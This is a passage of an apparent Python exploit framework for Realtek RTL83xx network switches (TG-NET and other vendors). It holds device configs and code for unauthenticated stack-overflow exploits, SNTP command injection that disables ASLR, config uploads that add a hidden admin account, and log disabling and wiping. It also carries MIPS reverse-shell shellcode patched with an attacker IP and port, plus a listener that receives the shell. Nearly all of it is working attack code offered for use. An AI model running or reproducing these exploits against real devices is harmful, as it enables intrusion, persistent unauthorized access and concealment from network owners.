							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'dispatcher.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
							'content':'username=admin&password='+ self.random_string(184) + '&login=1',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'json':False,
						'authenticated': False,
						'encryption':'md5',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" secret encrypted PASSWORD\n\n------',
						'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
						'del_query':'', 
						'del_uri':'/cgi-bin/dispatcher.cgi?cmd=526&usrName=USERNAME',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':False,
						'authenticated': True,
						'enable_uri':'/cgi-bin/dispatcher.cgi',
						'enable_query':'sntp_enable=1&cmd=548',
						'status_uri':'/cgi/get.cgi?cmd=sys_timeSettings',
						'inject_uri':'/cgi-bin/dispatcher.cgi',
						'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
						'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',
						'delete_uri':'/cgi-bin/dispatcher.cgi',
						'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'sntp_enable=0&cmd=548',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,

						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'&login=1&_CMD_',
						'sys_ping_post_check':'',
						'sys_ping_post_SIGSEGV': False,		# SIGSEGV ?

						'workaround':True,	# My LAB workaround

						'vulnerable': True,
						'safe': True

					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',

						'log_settings_set_cmd':'&LOGGING_SERVICE=0',# Disable Logging CMD
						'log_settings_set_SIGSEGV':False,			# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',						# Clean RAM log CMD
						'log_ramClear_SIGSEGV':False,				# Clean RAM log SIGSEGV ?

						'log_fileClear_cmd':'',						# Clean FILE log CMD
						'log_fileClear_SIGSEGV':False,				# Clean FILE log SIGSEGV ?

						'workaround':True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(212) +'_JUMP_&password='+ self.random_string(180) +'_CMD_&login=1',

						'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
						'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=139',

						'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=139',

						'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
						'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
						'sys_timeSettings_set_SIGSEGV': False,		# SIGSEGV ?

						'workaround': True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': False,
						'safe': True
					}, 

					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
						'query':'username=_ALIGN_USRNOP&password=_PWDNOP_RA_START&login=1&shellcode=_USRNOP_USRNOP_USRNOP_SHELLCODE',
						'workaround':True,	# My LAB workaround
						'stack':True, # False = use Heap, and there are no ASLR
						'vulnerable': True,
						'safe': True

					},

				},
			},

			'TG-NET': {
				'vendor': 'Shenzhen TG-NET Botone Technology Co,. Ltd.',
				'uri':'http://www.tg-net.net/productshow.asp?ProdNum=1049&parentid=98',
				'modulus_uri':'',
				'info_leak':False,
				'info_leak_JSON':False,
				'info_leak_uri':'',
				'xsid':False,
				'xsid_uri':'',
				'login': {
					'description':'Login/Logout on remote device',
					'authenticated': True,
					'json':False,
					'encryption':'clear',
					'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
					'query':'username=USERNAME&password=PASSWORD&login=1',
					'status_uri':'/cgi-bin/dispatcher.cgi?cmd=547',
					'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
					'vulnerable': True,
					'safe': True
				},
				'log':{
						'description':'Disable and clean logs',
						'authenticated': True,
						'json':False,
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'LOGGING_SERVICE=0&cmd=4353',
						'status':'/cgi-bin/dispatcher.cgi?cmd=4352',
						'clean_logfile_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logfile_query':'cmd_4364=Clear+file+messages',
						'clean_logmem_uri':'/cgi-bin/dispatcher.cgi',
						'clean_logmem_query':'cmd_4364=Clear+buffered+messages',
						'vulnerable': True,
						'safe': True
				},
				# Verify lacking authentication
				'verify': {
						'httpuploadbakcfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "backup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadbakcfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpuploadruncfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadruncfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httprestorecfg.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload "startup-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httprestorecfg.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':' Invalid config file!!', # one 0x20 in beginning
							'vulnerable': True,
							'safe': True
						},
						'httpupload.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'dispatcher.cgi': { # 'username' also suffer from stack overflow
							'description':'Stack overflow in "username/password" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
							'content':'username=admin&password='+ self.random_string(184) + '&login=1',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},
						'httpuploadfirmware.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpuploadfirmware.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'Image Signature Error',
							'vulnerable': True,
							'safe': True
						},
						'httpupload_runstart_cfg.cgi':{
							'authenticated': False,
							'response':'file',
							'Content-Type':True,
							'description':'Upload/update "running-config" (PoC: Create invalid file to verify)',
							'uri':'/cgi-bin/httpupload_runstart_cfg.cgi',
							'check_uri':'/tmp/startup-config',
							'content':'/tmp/startup-config',
							'content_check':'/tmp/startup-config',
							'vulnerable': True,
							'safe': True
						},
						'version_upgrade.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Upload/Upgrade "Firmware" (Frontend to "httpuploadfirmware.cgi")',
							'uri':'/cgi-bin/version_upgrade.cgi',
							'check_uri':'',
							'content':'Firm Upgrade',
							'content_check':'Firm Upgrade',
							'vulnerable': True,
							'safe': True
						},
						'factory_reset.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':True,
							'description':'Reset device to factory default (PoC: Too dangerous to verify)',
							'uri':'/cgi-bin/factory_reset.cgi',
							'check_uri':'',
							'content':'Too dangerous to verify',
							'content_check':'dummy',
							'vulnerable': True,
							'safe': False
						},
						'sysinfo_config.cgi':{
							'authenticated': False,
							'response':'html',
							'Content-Type':False,
							'description':'System basic information configuration (Frontend to "change_mac_addr_set.cgi")',
							'uri':'/cgi-bin/sysinfo_config.cgi',
							'check_uri':'',
							'content':'dummy',
							'content_check':'"/cgi-bin/change_mac_addr_set',
							'vulnerable': True,
							'safe': True
						},
						'change_mac_addr_set.cgi': {
							'description':'Stack overflow in "switch_type/sys_hardver" (PoC: crash CGI)',
							'response':'502',
							'Content-Type':False,
							'authenticated': False,
							'uri':'/cgi-bin/change_mac_addr_set.cgi',
							'content':'switch_type='+ self.random_string(116) +'&sys_hardver=31337&sys_macaddr=DE:AD:BE:EF:13:37&sys_serialnumber=DE:AD:BE:EF:13:37&password=tgnetadmin',
							'check_uri':False,
							'content_check':False,
							'vulnerable': True,
							'safe': True
						},

				},
				'exploit': {
					'heack_hydra_shell': {
						'description':'[Boa/Hydra] Stack overflow in Boa/Hydra web server (PoC: reverse shell)',
						'authenticated': False,
						'uri':'/cgi-bin/httpupload.cgi?XXX', # Including alignment of opcodes in memory
						'vulnerable': True,
						'safe': False # Boa/Hydra restart/watchdog, False = no restart, True = restart
					},
					'priv15_account': {
						'description':'Upload/Update running-config (PoC: add priv 15 credentials)',
						'json':False,
						'authenticated': False,
						'encryption':'clear',
						'content':'Content-Type\n\nSYSTEM CONFIG FILE ::= BEGIN\nusername "USERNAME" password PASSWORD\n\n------',
						'add_uri':'/cgi-bin/httpuploadruncfg.cgi',
						'del_query':'', 
						'del_uri':'/cgi-bin/dispatcher.cgi?cmd=524&usrName=USERNAME',
						'vulnerable': True,
						'safe': True
					}, 
					'sntp': {
						'description':'SNTP command injection (PoC: disable ASLR)',
						'json':False,
						'authenticated': True,
						'enable_uri':'/cgi-bin/dispatcher.cgi',
						'enable_query':'sntp_enable=1&cmd=548',
						'status_uri':'cmd=547',
						'inject_uri':'/cgi-bin/dispatcher.cgi',

						'inject_query':'sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123&cmd=550',
						'check_query':'sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123&cmd=550',

						'delete_uri':'/cgi-bin/dispatcher.cgi',
						'delete_query':'sntp_Server=+&sntp_Port=123&cmd=550',
						'disable_uri':'/cgi-bin/dispatcher.cgi',
						'disable_query':'sntp_enable=0&cmd=548',
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},

					#
					# The stack overflow in 'username' and 'password' at same request are multipurpose.
					#

					#
					# The trick to jump and execute:
					# 1. Code: username=[garbage][RA + 0x58000000]&password=[garbage][NULL termination]
					# 2. [NULL termination] will overwrite 0x58 in RA so we can jump within the binary
					# 3. We dont jump to beginning of the functions, we jump just after 'sw $ra,($sp)' (important)
					# 4. We will also feed required function parameters, by adding them to '_CMD_'
					#
					'stack_cgi_diag': {
						'vulnerable': False,
					},
					'stack_cgi_log': {
						'description':'Stack overflow in "username/password" (PoC: Disable/Clean logs)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',

						'log_settings_set_cmd':'&LOGGING_SERVICE=0',			# Disable Logging CMD
						'log_settings_set_SIGSEGV':True,						# Disable Logging SIGSEGV ?

						'log_ramClear_cmd':'',									# Clean RAM log CMD
						'log_ramClear_SIGSEGV':False,							# Clean RAM log SIGSEGV ?

						'log_fileClear_cmd':'',									# Clean FILE log CMD
						'log_fileClear_SIGSEGV':False,							# Clean FILE log SIGSEGV ?

						'workaround':False,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					},
					'stack_cgi_sntp': {
						'description':'Stack overflow in "username/password" (PoC: Disable ASLR)',
						'authenticated': False,
						'uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'content':'username='+ self.random_string(112) +'_JUMP_&password='+ self.random_string(80) +'_CMD_&login=1',
						'sys_timeSntp_set_cmd':'&sntp_Server=`echo 0 > /proc/sys/kernel/randomize_va_space`&sntp_Port=123',
						'sys_timeSntp_set_check':'&sntp_Server=`cat /proc/sys/kernel/randomize_va_space > /tmp/check`&sntp_Port=123',
						'sys_timeSntpDel_set_cmd':'&sntp_Server=+&sntp_Port=123',
						'sys_timeSettings_set_cmd_enable':'&sntp_enable=1',
						'sys_timeSettings_set_cmd_disable':'&sntp_enable=0',
						'sys_timeSettings_set_SIGSEGV': False,		# SIGSEGV ?
						'workaround':True,	# My LAB workaround
						'verify_uri':'/tmp/check',
						'vulnerable': True,
						'safe': True
					}, 

					#
					# After disabled ASLR, we can proceed to put NOP sled and shellcode on stack.
					# Then we will start walk down from top of stack to hit the NOP sled to execute shellcode
					#
					'heack_cgi_shell': {
						'description':'Stack overflow in "username/password" (PoC: reverse shell)',
						'authenticated': False,
						'login_uri':'/cgi-bin/dispatcher.cgi?cmd=1',
						'logout_uri':'/cgi-bin/dispatcher.cgi?cmd=3',
						'query':'username=_ALIGN_USRNOP_SHELLCODE&password=_PWDNOP_RA_START&login=1',
						'workaround':False,	# My LAB workaround
						#'stack':False, # False = use Heap, and there are no ASLR
						'stack':True, # False = use Heap, and there are no ASLR
						'vulnerable': True,
						'safe': True
					},

				},
			},


		}

		if self.ETag == 'report':

			sorted_dict = OrderedDict(sorted(Vendor_ETag.items(), key=lambda t: t[1])) # sorted by ETag value
			for targets in sorted_dict:
				self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[targets]['template']])
				self.source = Vendor_ETag[targets]
				self.dict_merge(self.target,self.source)
				print ""

				tmp = "] {} {} v{} [".format(self.target['vendor'],self.target['model'],self.target['version'])
				print "[{:=^78}]".format(tmp)

				print self.target['uri']

				print "" # make it nicer to read

				LEN = len(self.target['exploit'])
				for exploits in self.target['exploit']:
					if not self.target['exploit'][exploits]['vulnerable']:
						LEN = LEN - 1

				tmp = "] {}({}) [".format("Exploits ",LEN)
				print "[{:-^78}]".format(tmp)

				for exploits in self.target['exploit']:
					tmp = self.target['exploit'][exploits]
					if self.target['exploit'][exploits]['vulnerable']:
						log.success("{:.<54}[Authenticated: {}]\n{}\n".format(exploits, tmp['authenticated'] ,tmp['description']))

				print "" # make it nicer to read

				tmp = "] {}({}) [".format("Verification ",len(self.target['verify']))
				print "[{:-^78}]".format(tmp)

				for verification in self.target['verify']:
					tmp = self.target['verify'][verification]
					log.success("{:.<54}[Authenticated: {}]\n{}\n".format(verification, tmp['authenticated'] ,tmp['description']))


				print ""
			return False
		elif self.ETag == 'help':
			sorted_dict = OrderedDict(sorted(Vendor_ETag.items(), key=lambda t: t[1])) # sorted by ETag value
			for targets in sorted_dict:
				self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[targets]['template']])
				self.source = Vendor_ETag[targets]
				self.dict_merge(self.target,self.source)
				log.info("ETag: {:<11} [{} {} v{}]".format(targets, self.target['vendor'],self.target['model'],self.target['version']))
			print ""
			return False


		for check in Vendor_ETag.keys():
			if check == self.ETag:
				self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[check]['template']])
				self.source = Vendor_ETag[check]

				self.dict_merge(self.target,self.source)
				return self.target

		return False


class RTK_RTL83xx:

	def __init__(self, rhost, proto, verbose, creds, Raw, lhost, lport):
		self.rhost = rhost
		self.proto = proto
		self.verbose = verbose
		self.credentials = creds
		self.Raw = Raw
		self.lhost = lhost
		self.lport = lport

		self.event = threading.Event()

		self.headers = {
			'Host':rhost,
			'User-Agent':'Chrome'
			}

	#
	# Workaround for Planet Tech. and others as it will always be logged in at my LAB
	#
	def Workaround_logout(self):
		try:
			URI = '/cgi-bin/dispatcher.cgi?cmd=3'
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) 
			return True
		except Exception as e:
			return True
			pass

	#
	# Very rare I have seen garbage returned with JSON data
	# make sure to clean out potential garbage, so we can load JSON with json.loads()
	#
	def clean_json(self, text):
		self.text = text

		start = 0
		result = ''

		for check in range(0,len(self.text)):
			if self.text[check] == '{':
				result += self.text[check]
				start = start + 1
			elif start:
				result += self.text[check]
				if self.text[check] == '}':
					start = start - 1

		return result

	#
	# Small function to return N in random chars
	#
	def random_string(self,length):
		self.length = length

		return 'A' * self.length
		#return ''.join(random.choice(string.lowercase) for i in range(self.length))

	def md5hash(self, string, base64encode):
		self.string = string
		self.base64encode = base64encode

		hash_object = hashlib.md5(self.string)
		md5_hash = hash_object.hexdigest()

		if self.base64encode:
			return base64.b64encode(md5_hash)	# Why...
		else:
			return md5_hash

	def caesar_encode(self, string):
		self.string = string

		return ''.join(chr(32 + int(ord(self.string[char])) % 95) for char in range(0,len(self.string)))

	def caesar_decode(self, string):
		self.string = string

		return ''.join(chr(int(ord(self.string[char])) - 32 % 95) for char in range(0,len(self.string)))

	#
	# Obfuscation
	# 
	# Functionality:
	# Reversed password string, split each character 7 bytes apart, split and put size of password at two fixed locations in the string,
	# then fill the rest with random garbage to look like advanced and unknown encryption
	#
	# Netgear: GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP
	# Zyxel: GS1900-24-2.40_AAHL.1_20180705
	#
	def obfuscation_encode(self, password):
		self.password = password

		text = ''
		possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'

		# Max 99 char in password
		self.password = self.password[:99]

		inlen = len(self.password)
		inlenn = len(self.password)

		if (len((self.password) * 7) + 7) <= 320:
			PASS_LEN = 321 # string needs to be 320 bytes as minimum
		else:
			PASS_LEN = (len((self.password) * 7) + 7)

		for i in xrange(1, PASS_LEN ,1):
			if (0 == i % 7 and inlen > 0):
				text += self.password[inlen-1]
				inlen = inlen - 1
			elif (i == 123):
				if inlenn < 10:
					text += '0'
				else:
					text += str(int(math.floor(inlenn / 10)))
			elif (i == 289):
				text += str(inlenn % 10)
			else:
				#text += '_'	# debug
				text += possible[int(math.floor(randint(0, len(possible)-1)))] # random garbage

		return text

	#
	# Obfuscation
	#
	# Netgear: GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP
	# Zyxel: GS1900-24-2.40_AAHL.1_20180705
	#
	def obfuscation_decode(self, password):
		self.password = password

		text = ''
		for i in range(1, len(self.password) ):
			if (0 == i % 7):
				if len(text) == (int(self.password[122]) * 10) + int(self.password[288]):
					break
				text += self.password[i-1]
		text = text[::-1] # reverse string
		return text

	def netgear_hash(self, URI):
		self.URI = URI

		return '&hash=' + self.md5hash(URI.split("?")[1],False)

	def _encrypt_RSA(self, modulus, passphrase, text):
		key = RSA.construct((modulus, passphrase))
		cipher = PKCS1_v1_5.new(key)
		ciphertext = cipher.encrypt(text)
 
		return ciphertext
  
	def RSA_encrypt_params(self, cisco_modulus, password):
		self.cisco_modulus = cisco_modulus
		self.password = password

		encrypted_passphrase = self._encrypt_RSA(string.atol(self.cisco_modulus, 16),
												 string.atol("10001", 16),
												 self.password)
		return base64.b64encode(encrypted_passphrase)

	def RSA_Password(self, string):
		self.string = string

		URI = target['modulus_uri']
		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False)
		result = json.loads(response.read())

		if result['data']['modulus']:
			cipher = self.RSA_encrypt_params(result['data']['modulus'], str(self.string))
		else:
			return self.string

		return urllib.quote_plus(cipher)

	def check_XSID(self, target):
		self.target = target

		if self.target['xsid']:
			return True
		else:
			return False

	def Cisco_XSID(self,target):
		self.target = target

		URI = target['xsid_uri']
		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False)
		result = json.loads(response.read())

		if result['data']['modulus']:
			cipher = self.RSA_encrypt_params(result['data']['modulus'],str(result['data']['xsid']))
			return cipher
		else:
			return result['data']['xsid']

	def shellcode(self):

		#
		# Reverse shell
		#
		# SRC: https://www.exploit-db.com/exploits/45541
		#
		MIPSeb = string.join([
			"\x24\x0f\xff\xfa"	# li	$t7, -6
			"\x01\xe0\x78\x27"	# nor $t7, $zero
			"\x21\xe4\xff\xfd"	# addi $a0, $t7, -3
			"\x21\xe5\xff\xfd"	# addi $a1, $t7, -3
			"\x28\x06\xff\xff"	# slti $a2, $zero, -1
			"\x24\x02\x10\x57"	# li	$v0, 4183 ( sys_socket )
			"\x01\x01\x01\x0c"	# syscall 0x40404
			"\xaf\xa2\xff\xff"	# sw	$v0, -1($sp)
			"\x8f\xa4\xff\xff"	# lw	$a0, -1($sp)
			"\x34\x0f\xff\xfd"	# li	$t7, -3 ( sa_family = AF_INET )
			"\x01\xe0\x78\x27"	# nor $t7, $zero
			"\xaf\xaf\xff\xe0"	# sw	$t7, -0x20($sp)
			# ================ You can change port here  =================
			"\x3c\x0ePP0PP1"	# lui $t6, 0x115c ( sin_port = 0x115c ) # 4444
			# ============================================================
			"\x35\xce\x7a\x69"	# ori $t6, $t6, 0x7a69 
			"\xaf\xae\xff\xe4"	# sw	$t6, -0x1c($sp)
			# ================ You can change ip here  =================
			"\x3c\x0eIP1IP2"	# lui $t6, 0xc0a8	   ( sin_addr = 0xc0a8 ... # 192 168
			"\x35\xceIP3IP4"	# ori $t6, $t6, 0x029d ... 0x3901 # 57 1
			# ============================================================
			"\xaf\xae\xff\xe6"	# sw	$t6, -0x1a($sp)
			"\x27\xa5\xff\xe2"	# addiu   $a1, $sp, -0x1e
			"\x24\x0c\xff\xef"	# li	$t4, -17  ( addrlen = 16 )
			"\x01\x80\x30\x27"	# nor $a2, $t4, $zero
			"\x24\x02\x10\x4a"	# li	$v0, 4170 ( sys_connect )
			"\x01\x01\x01\x0c"	# syscall 0x40404
			"\x24\x0f\xff\xfd"	# li	t7,-3
			"\x01\xe0\x28\x27"	# nor a1,t7,zero
			"\x8f\xa4\xff\xff"	# lw	$a0, -1($sp)   
			# dup2_loop:
			"\x24\x02\x0f\xdf"	# li	$v0, 4063 ( sys_dup2 )
			"\x01\x01\x01\x0c"	# syscall 0x40404
			"\x24\xa5\xff\xff"	# addi a1,a1,-1 (\x20\xa5\xff\xff)
			"\x24\x01\xff\xff"	# li	at,-1
			"\x14\xa1\xff\xfb"	# bne a1,at, dup2_loop
			"\x28\x06\xff\xff"	# slti $a2, $zero, -1
			"\x3c\x0f\x2f\x2f"	# lui $t7, 0x2f2f (//)
			"\x35\xef\x62\x69"	# ori $t7, $t7, 0x6269 (bi)
			"\xaf\xaf\xff\xec"	# sw	$t7, -0x14($sp)
			"\x3c\x0e\x6e\x2f"	# lui $t6, 0x6e2f (n/)
			"\x35\xce\x73\x68"	# ori $t6, $t6, 0x7368 (sh) 
			"\xaf\xae\xff\xf0"	# sw	$t6, -0x10($sp)
			"\xaf\xa0\xff\xf4"	# sw	$zero, -0xc($sp)
			"\x27\xa4\xff\xec"	# addiu   $a0, $sp, -0x14
			"\xaf\xa4\xff\xf8"	# sw	$a0, -8($sp)
			"\xaf\xa0\xff\xfc"	# sw	$zero, -4($sp)
			"\x27\xa5\xff\xf8"	# addiu   $a1, $sp, -8
			"\x24\x02\x0f\xab"	# li	$v0, 4011 (sys_execve)
			"\x01\x01\x01\x0c"	# syscall 0x40404
			"\x8f\x84\x80\x18"	# Variant of NOP
			], '')	


		# Connect back IP
		ip_hex = '{:02x} {:02x} {:02x} {:02x}'.format(*map(int, self.lhost.split('.')))
		ip_hex = ip_hex.split()
		IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];

		# Let's break apart the hex code of LPORT into two bytes
		port_hex = hex(int(self.lport))[2:]
		port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
		port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
		port_hex = port_hex.split()
		if len(port_hex) == 1:
			port_hex = ('00' + ' ' + ''.join(port_hex)).split()

		#
		# Replace IP and PORT in shellcode
		#
		MIPSeb = MIPSeb.replace('PP0',chr(int(port_hex[0],16)))
		MIPSeb = MIPSeb.replace('PP1',chr(int(port_hex[1],16)))

		MIPSeb = MIPSeb.replace('IP1',chr(int(IP1,16)))
		MIPSeb = MIPSeb.replace('IP2',chr(int(IP2,16)))
		MIPSeb = MIPSeb.replace('IP3',chr(int(IP3,16)))
		MIPSeb = MIPSeb.replace('IP4',chr(int(IP4,16)))

		return MIPSeb

	#
	# Access: Unauthorized
	#
	# Start thread for exploting, create a listener on LPORT, wait for connection and stop the exploit thread when remote connected
	#
	# Note:
	# The vulnerability are _not_ from Boa nor Hydra, coming from Realtek coding.
	# The device should be newly restarted and/or not been accessed with http/https, so the heap is relative untouched.
	#
	# This code will:
	# 1. Trigger stack overflow in boa/Hydra web server [ extractVmlinuxImage(), getFdStr() ]
	# 2. Overwrite first byte in provided RA with 0x00, so we can jump within the binary
	# 3. Jump to our gadget
	# 4. Jump to NOP sled and shellcode on heap
	# 5. Launch forked() reverse shell
	# 6. Try restart Boa/Hydra (to mitigate DoS)
	#
	# Success: Reverse shell and restarted Boa/Hydra
	# Failure: No reverse shell and crashed Boa/Hydra (DoS)
	#
	def heack_hydra_shell(self, target):
		self.target = target

		if not self.target['exploit']['heack_hydra_shell']['vulnerable']:
			log.failure("Not listed as vulnerable")
			return False

		# Connect-timeout in seconds
		timeout = 20
		socket.setdefaulttimeout(timeout)

		thread.start_new_thread(self.heack_hydra_exploit,("heack_hydra_exploit",self.target,))

		lsock = listen(port=self.lport)
		c = lsock.wait_for_connection()
		if not self.event.is_set():
			c.interactive(prompt = '# ')
			return True
		else:
			log.failure("Got internal connection to quit")
			c.close()
			return False

	#
	# Access: Unauthorized
	#
	def heack_hydra_exploit(self, threadName, target):
		self.threadName = threadName
		self.target = target
		CRLF_NOP = 0x24060d0a # NOP w/ CRLF (li $a2, 0x00000D0A)
		NOP =  0x2406ffff	# NOP (li $a2, 0xFFFFFFFF)
		JUMP = 0x04110111 # bal +273

		# Debug
		#CRLF_NOP = 0x4c460d0a # LF\r\n
		#NOP = 0x6e6f6f70 # noop
		#JUMP = 0x4a4d5044 # JMPD
		#MIPSeb = ("\x43\x4f\x44\x45" * 45) + "\x4e\x4f\x4f\x50" # CODE + NOOP = 148 bytes

		query_args = ''

		#
		# This will overwrite RA:
		#
		
		#
		# NETGEAR: 'getFdStr()' modified, this is weird 'solution' to have $t9 loaded with JMP in 'fwrite()'
		#
		if self.target.get('hash_uri'): # NETGEAR Inc. (GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP)
			query_args += struct.pack('>L',(self.target['exploit']['heack_hydra_shell']['gadget'])) * 76 # direct heap address
		else:
			query_args += (struct.pack('>L',NOP) * 73) + struct.pack('>L',JUMP) + struct.pack('>L',NOP) # 300 bytes + RA below

		#
		# Return address to where we want jump (0x58 will be overwritten with 0x00 below)
		query_args += struct.pack('>L',(self.target['exploit']['heack_hydra_shell']['gadget'] + 0x58000000)) # 0x58xxxxxx

		#
		# Space between new RA and overwrite with 0x00 (Range: 1 => 3)
		#
		query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) * 2

		# CRLF_NOP will overwrite '0x58' in above RA address with 0x00, as the code will always terminate CRLF with 0x00
		#
		# 7FF4BE60  6E 6F 6F 70 6E 6F 6F 70  6E 6F 6F 70 6E 6F 6F 70  noopnoopnoopnoop
		# 7FF4BE70  6E 6F 6F 70 6E 6F 6F 70  6E 6F 6F 70 6E 6F 6F 70  noopnoopnoopnoop
		# 7FF4BE80  6E 6F 6F 70 6E 6F 6F 70  4C 46 0D 0A 00 40 FF AC  noopnoopLF...@.. <=== 'X' overwritten with 0x00
		#
		query_args += (struct.pack('>L',NOP) * 74) + struct.pack('>L',CRLF_NOP) # 300 bytes + 0x00

		#
